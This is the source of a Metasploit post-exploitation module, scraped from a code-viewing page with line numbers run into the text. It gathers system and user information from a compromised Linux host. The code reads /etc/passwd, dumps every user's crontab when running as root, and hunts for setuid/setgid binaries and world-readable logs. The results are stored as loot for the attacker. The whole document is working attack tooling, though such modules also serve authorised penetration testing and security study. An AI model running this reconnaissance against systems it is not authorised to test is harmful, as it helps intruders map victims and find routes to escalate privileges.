Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/enum_system.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Gather System and User Information',14'Description' => %q{15This module gathers system information. We collect16installed packages, installed services, mount information,17user list, user bash history and cron jobs18},19'License' => MSF_LICENSE,20'Author' => [21'Carlos Perez <carlos_perez[at]darkoperator.com>', # get_packages and get_services22'Stephen Haywood <averagesecurityguy[at]gmail.com>', # get_cron and original enum_linux23'sinn3r', # Testing and modification of original enum_linux24'ohdae <bindshell[at]live.com>', # Combined separate mods, modifications and testing25'Roberto Espreto <robertoespreto[at]gmail.com>', # log files and setuid/setgid26],27'Platform' => ['linux'],28'SessionTypes' => ['shell', 'meterpreter']29)30)31end3233def run34distro = get_sysinfo35store_loot(36'linux.version',37'text/plain',38session,39"Distro: #{distro[:distro]},Version: #{distro[:version]}, Kernel: #{distro[:kernel]}",40'linux_info.txt',41'Linux Version'42)4344# Print the info45print_good('Info:')46print_good("\t#{distro[:version]}")47print_good("\t#{distro[:kernel]}")4849users = execute('/bin/cat /etc/passwd | cut -d : -f 1')50user = execute('/usr/bin/whoami')5152print_good("\tModule running as \"#{user}\" user")5354installed_pkg = get_packages(distro[:distro])55installed_svc = get_services(distro[:distro])5657mount = execute('/bin/mount -l')58crons = get_crons(users, user)59diskspace = execute('/bin/df -ahT')60disks = (mount + "\n\n" + diskspace)61logfiles = execute('find /var/log -type f -perm -4 2> /dev/null')62uidgid = execute('find / -xdev -type f -perm +6000 -perm -1 2> /dev/null || find / -xdev -type f -perm /6000 -perm -1 2> /dev/null')6364save('Linux version', distro)65save('User accounts', users)66save('Installed Packages', installed_pkg)67save('Running Services', installed_svc)68save('Cron jobs', crons)69save('Disk info', disks)70save('Logfiles', logfiles)71save('Setuid/setgid files', uidgid)72save('CPU Vulnerabilities', get_cpu_vulnerabilities)73end7475def save(msg, data, ctype = 'text/plain')76ltype = 'linux.enum.system'77loot = store_loot(ltype, ctype, session, data, nil, msg)78print_status("#{msg} stored in #{loot}")79end8081def execute(cmd)82vprint_status("Execute: #{cmd}")83output = cmd_exec(cmd)84output85end8687def get_packages(distro)88packages_installed = ''89case distro90when /fedora|redhat|suse|mandrake|oracle|amazon/91packages_installed = execute('rpm -qa')92when /slackware/93packages_installed = execute('/bin/ls /var/log/packages')94when /ubuntu|debian/95packages_installed = execute('/usr/bin/dpkg -l')96when /gentoo/97packages_installed = execute('equery list')98when /arch/99packages_installed = execute('/usr/bin/pacman -Q')100else101print_error('Could not determine package manager to get list of installed packages')102end103packages_installed104end105106def get_services(distro)107services_installed = ''108case distro109when /fedora|redhat|suse|mandrake|oracle|amazon/110services_installed = execute('/sbin/chkconfig --list')111when /slackware/112services_installed << "\nEnabled:\n*************************\n"113services_installed << execute("ls -F /etc/rc.d | /bin/grep \'*$\'")114services_installed << "\n\nDisabled:\n*************************\n"115services_installed << execute("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")116when /ubuntu|debian/117services_installed = execute('/usr/sbin/service --status-all')118when /gentoo/119services_installed = execute('/bin/rc-status --all')120when /arch/121services_installed = execute("/bin/egrep '^DAEMONS' /etc/rc.conf")122else123print_error('Could not determine the Linux Distribution to get list of configured services')124end125services_installed126end127128def get_cpu_vulnerabilities129execute('grep -r . /sys/devices/system/cpu/vulnerabilities').to_s130end131132def get_crons(users, user)133if user == 'root' && users134users = users.chomp.split135users.each do |u|136next unless u == 'root'137138vprint_status('Enumerating as root')139cron_data = ''140users.each do |usr|141cron_data << "*****Listing cron jobs for #{usr}*****\n"142cron_data << execute("crontab -u #{usr} -l") + "\n\n"143end144end145else146vprint_status("Enumerating as #{user}")147cron_data = "***** Listing cron jobs for #{user} *****\n\n"148cron_data << execute('crontab -l')149150# Save cron data to loot151cron_data152end153end154end155156157